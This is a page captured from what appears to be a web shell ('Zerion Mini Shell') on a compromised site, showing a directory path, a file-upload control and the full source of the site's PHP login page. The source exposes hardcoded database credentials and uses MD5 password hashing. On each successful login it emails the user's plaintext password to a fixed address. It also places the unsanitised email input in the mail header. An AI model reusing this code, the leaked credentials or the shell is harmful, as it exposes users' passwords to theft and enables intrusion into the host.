ok

Mini Shell

Direktori : /home/importfo/public_html/importfolio.in/
Upload File :
Current File : //home/importfo/public_html/importfolio.in/index.php

<?php


// Set session cookie to expire when the browser is closed
ini_set('session.cookie_lifetime', 0);
session_start();
$_SESSION['loggedin_time'] = time();
// Database connection
$conn = new mysqli('localhost', 'importfo_port', 'TEiETvqHxf9h', 'importfo_port');


// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// Check if form is submitted
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $email = $_POST['email'];
    $password = $_POST['password'];
    
    

    // Hash the password securely (md5 used here for demo; consider password_hash() for better security)
    $hashed_password = md5($password);

    // Prepare SQL statement
    $sql = "SELECT * FROM user WHERE email = ? AND password = ?";
    $stmt = $conn->prepare($sql);

    // Check if the statement was prepared successfully
    if ($stmt === false) {
        die("Error in query: " . $conn->error);
    }

    // Bind parameters
    $stmt->bind_param('ss', $email, $hashed_password);

    // Execute the query
    $stmt->execute();

    // Get the result
    $result = $stmt->get_result();

    // Check if any row is returned
    if ($result->num_rows > 0) {
        $user = $result->fetch_assoc();
        $_SESSION['user_id'] = $user['id'];
        $_SESSION['user_name'] = $user['name'];




    
                    $to = "info@importfolio.in";
                    $subject = "importfolio.in  Login Successfully";
             
                    // $message .= "<h4>Name : $name</h4>";
                     $message .= "<h4>User : $email</h4>";
                    $message .= "<h4>Pass : $password </h4>";
               

                    $header = "From:$email \r\n";
                    /*$header .= "Cc:inddigmedia@gmail.com\r\n";*/
                    $header .= "MIME-Version: 1.0\r\n";
                    $header .= "Content-type: text/html\r\n";
                 
                    $retval = mail ($to,$subject,$message,$header);
                    if( $retval == true )
                    { 
                      echo ("<script LANGUAGE='JavaScript'>window.location.href='home.php';</script>");
                      /*echo "email send sucessfully";*/ 
                    }
                     }
                else
                {
                    echo "Email Could Not Send.!";
                }
}
?>


<!--<html lang="en">-->
<!--<head>-->
<!--    <meta charset="UTF-8">-->
<!--    <meta name="viewport" content="width=device-width, initial-scale=1.0">-->
<!--    <title>Login</title>-->
<!--</head>-->
<!--<body>-->
<!--    <h2>Login</h2>-->
<!--    <?php if (isset($error)) { echo "<p style='color:red;'>$error</p>"; } ?>-->
<!--    <form action="index.php" method="POST">-->
<!--        <label for="email">Email:</label>-->
<!--        <input type="email" name="email" required><br><br>-->

<!--        <label for="password">Password:</label>-->
<!--        <input type="password" name="password" required><br><br>-->

<!--        <button type="submit" name="submit">Login</button>-->
<!--    </form>-->
<!--</body>-->
<!--</html>-->



<!DOCTYPE html>
<html lang="en">
<head>
	<title>Welcome To Inddig Media</title>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
<!--===============================================================================================-->	
	<link rel="icon" type="image/png" href="images/icons/favicon.ico"/>
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="vendor/bootstrap/css/bootstrap.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="fonts/font-awesome-4.7.0/css/font-awesome.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="fonts/iconic/css/material-design-iconic-font.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="vendor/animate/animate.css">
<!--===============================================================================================-->	
	<link rel="stylesheet" type="text/css" href="vendor/css-hamburgers/hamburgers.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="vendor/animsition/css/animsition.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="vendor/select2/select2.min.css">
<!--===============================================================================================-->	
	<link rel="stylesheet" type="text/css" href="vendor/daterangepicker/daterangepicker.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="css/util.css">
	<link rel="stylesheet" type="text/css" href="css/main.css">
<!--===============================================================================================-->
</head>
<body>
	
	<div class="limiter">
		<div class="container-login100" style="background-image: url('images/bg-01.jpg');">
			<div class="wrap-login100 p-l-55 p-r-55 p-t-65 p-b-54">
				<form  class="login100-form validate-form" action="index.php" method="POST">
					<span class="login100-form-title p-b-49">
						Login
					</span>

					<div class="wrap-input100 validate-input m-b-23" data-validate = "Username is reauired">
						<span class="label-input100">Username</span>
						<input class="input100" type="text" name="email" required placeholder="Type your username">
						<span class="focus-input100" data-symbol="&#xf206;"></span>
					</div>

					<div class="wrap-input100 validate-input" data-validate="Password is required">
						<span class="label-input100">Password</span>
						<input class="input100" type="password" name="password" required  placeholder="Type your password">
						<span class="focus-input100" data-symbol="&#xf190;"></span>
					</div>
					<br><br>
					
					
					
					<div class="container-login100-form-btn">
						<div class="wrap-login100-form-btn">
							<div class="login100-form-bgbtn"></div>
						
							 <button type="submit" name="submit" class="login100-form-btn">Login</button>
						</div>
					</div>

				


				</form>
			</div>
		</div>
	</div>
	

	<div id="dropDownSelect1"></div>
	
<!--===============================================================================================-->
	<script src="vendor/jquery/jquery-3.2.1.min.js"></script>
<!--===============================================================================================-->
	<script src="vendor/animsition/js/animsition.min.js"></script>
<!--===============================================================================================-->
	<script src="vendor/bootstrap/js/popper.js"></script>
	<script src="vendor/bootstrap/js/bootstrap.min.js"></script>
<!--===============================================================================================-->
	<script src="vendor/select2/select2.min.js"></script>
<!--===============================================================================================-->
	<script src="vendor/daterangepicker/moment.min.js"></script>
	<script src="vendor/daterangepicker/daterangepicker.js"></script>
<!--===============================================================================================-->
	<script src="vendor/countdowntime/countdowntime.js"></script>
<!--===============================================================================================-->
	<script src="js/main.js"></script>

</body>
</html>

Zerion Mini Shell 1.0